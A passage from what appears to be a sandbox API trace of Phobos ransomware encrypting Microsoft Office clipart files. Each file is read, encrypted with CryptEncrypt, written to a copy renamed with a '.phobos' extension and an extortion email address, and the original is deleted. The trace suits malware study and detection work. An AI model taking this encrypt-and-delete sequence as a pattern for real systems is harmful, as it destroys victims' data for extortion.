hFile=0x308, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=4796) returned 1 [0133.722] CloseHandle (hObject=0x308) returned 1 [0133.722] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf")) returned 0x220 [0133.722] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.722] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0133.722] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0133.722] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0133.722] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0133.722] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752d58) returned 1 [0133.722] CryptSetKeyParam (hKey=0x752d58, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0133.723] ReadFile (in: hFile=0x308, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x12bc, lpOverlapped=0x0) returned 1 [0133.751] CryptEncrypt (in: hKey=0x752d58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x12c0, dwBufLen=0x12c0 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x12c0) returned 1 [0133.751] WriteFile (in: hFile=0x2e4, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x12c0, lpOverlapped=0x0) returned 1 [0133.755] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752c58) returned 1 [0133.755] CryptSetKeyParam (hKey=0x752c58, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0133.755] CryptEncrypt (in: hKey=0x752c58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0133.755] CryptDestroyKey (hKey=0x752c58) returned 1 [0133.755] WriteFile (in: hFile=0x2e4, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0133.755] CryptDestroyKey (hKey=0x752d58) returned 1 [0133.755] CloseHandle (hObject=0x308) returned 1 [0133.755] CloseHandle (hObject=0x2e4) returned 1 [0133.756] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf")) returned 1 [0133.756] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0133.756] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0133.757] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=5098) returned 1 [0133.757] CloseHandle (hObject=0x2e4) returned 1 [0133.757] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf")) returned 0x220 [0133.757] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.757] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0133.757] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0133.757] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0133.757] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0133.757] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752ed8) returned 1 [0133.757] CryptSetKeyParam (hKey=0x752ed8, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0133.758] ReadFile (in: hFile=0x2e4, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x13ea, lpOverlapped=0x0) returned 1 [0133.794] CryptEncrypt (in: hKey=0x752ed8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x13f0, dwBufLen=0x13f0 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x13f0) returned 1 [0133.794] WriteFile (in: hFile=0x308, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x13f0, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x13f0, lpOverlapped=0x0) returned 1 [0133.795] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x753158) returned 1 [0133.795] CryptSetKeyParam (hKey=0x753158, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0133.795] CryptEncrypt (in: hKey=0x753158, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0133.795] CryptDestroyKey (hKey=0x753158) returned 1 [0133.795] WriteFile (in: hFile=0x308, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0133.795] CryptDestroyKey (hKey=0x752ed8) returned 1 [0133.795] CloseHandle (hObject=0x2e4) returned 1 [0133.795] CloseHandle (hObject=0x308) returned 1 [0133.796] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf")) returned 1 [0133.796] SetEvent (hEvent=0x2b8) returned 1 [0133.796] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0133.797] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0133.797] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=17406) returned 1 [0133.797] CloseHandle (hObject=0x308) returned 1 [0133.797] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf")) returned 0x220 [0133.797] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.797] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0133.797] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0133.797] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0133.797] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0133.800] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752f98) returned 1 [0133.800] CryptSetKeyParam (hKey=0x752f98, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0133.800] ReadFile (in: hFile=0x308, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x43fe, lpOverlapped=0x0) returned 1 [0133.823] CryptEncrypt (in: hKey=0x752f98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x4400, dwBufLen=0x4400 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x4400) returned 1 [0133.823] WriteFile (in: hFile=0x2e4, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x4400, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x4400, lpOverlapped=0x0) returned 1 [0133.824] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752fd8) returned 1 [0133.824] CryptSetKeyParam (hKey=0x752fd8, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0133.824] CryptEncrypt (in: hKey=0x752fd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0133.824] CryptDestroyKey (hKey=0x752fd8) returned 1 [0133.824] WriteFile (in: hFile=0x2e4, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0133.824] CryptDestroyKey (hKey=0x752f98) returned 1 [0133.824] CloseHandle (hObject=0x308) returned 1 [0133.824] CloseHandle (hObject=0x2e4) returned 1 [0133.824] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf")) returned 1 [0133.825] SetEvent (hEvent=0x2b8) returned 1 [0133.825] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0133.825] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0133.826] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=5260) returned 1 [0133.826] CloseHandle (hObject=0x2e4) returned 1 [0133.826] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf")) returned 0x220 [0133.826] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.826] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0133.826] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0133.826] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0133.826] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0133.826] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752c58) returned 1 [0133.826] CryptSetKeyParam (hKey=0x752c58, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0133.826] ReadFile (in: hFile=0x2e4, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x148c, lpOverlapped=0x0) returned 1 [0133.833] CryptEncrypt (in: hKey=0x752c58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x1490, dwBufLen=0x1490 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x1490) returned 1 [0133.833] WriteFile (in: hFile=0x308, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x1490, lpOverlapped=0x0) returned 1 [0133.835] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752ad8) returned 1 [0133.835] CryptSetKeyParam (hKey=0x752ad8, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0133.835] CryptEncrypt (in: hKey=0x752ad8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0133.835] CryptDestroyKey (hKey=0x752ad8) returned 1 [0133.835] WriteFile (in: hFile=0x308, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0133.836] CryptDestroyKey (hKey=0x752c58) returned 1 [0133.836] CloseHandle (hObject=0x2e4) returned 1 [0133.836] CloseHandle (hObject=0x308) returned 1 [0133.836] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf")) returned 1 [0133.837] SetEvent (hEvent=0x2b8) returned 1 [0133.837] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0133.837] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0133.837] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=752) returned 1 [0133.837] CloseHandle (hObject=0x308) returned 1 [0133.837] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf")) returned 0x220 [0133.837] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.837] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0133.837] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0133.837] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0133.837] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0133.838] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752d18) returned 1 [0133.838] CryptSetKeyParam (hKey=0x752d18, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0133.838] ReadFile (in: hFile=0x308, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x2f0, lpOverlapped=0x0) returned 1 [0133.860] CryptEncrypt (in: hKey=0x752d18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x300, dwBufLen=0x300 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x300) returned 1 [0133.860] WriteFile (in: hFile=0x2e4, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x300, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x300, lpOverlapped=0x0) returned 1 [0133.861] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752ed8) returned 1 [0133.861] CryptSetKeyParam (hKey=0x752ed8, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0133.861] CryptEncrypt (in: hKey=0x752ed8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0133.861] CryptDestroyKey (hKey=0x752ed8) returned 1 [0133.861] WriteFile (in: hFile=0x2e4, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0133.862] CryptDestroyKey (hKey=0x752d18) returned 1 [0133.862] CloseHandle (hObject=0x308) returned 1 [0133.862] CloseHandle (hObject=0x2e4) returned 1 [0133.862] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf")) returned 1 [0133.863] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0133.863] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0133.863] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=13968) returned 1 [0133.863] CloseHandle (hObject=0x2e4) returned 1 [0133.863] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf")) returned 0x220 [0133.863] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.863] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0133.863] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0133.863] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0133.863] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0133.864] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752ed8) returned 1 [0133.864] CryptSetKeyParam (hKey=0x752ed8, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0133.864] ReadFile (in: hFile=0x2e4, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x3690, lpOverlapped=0x0) returned 1 [0133.948] 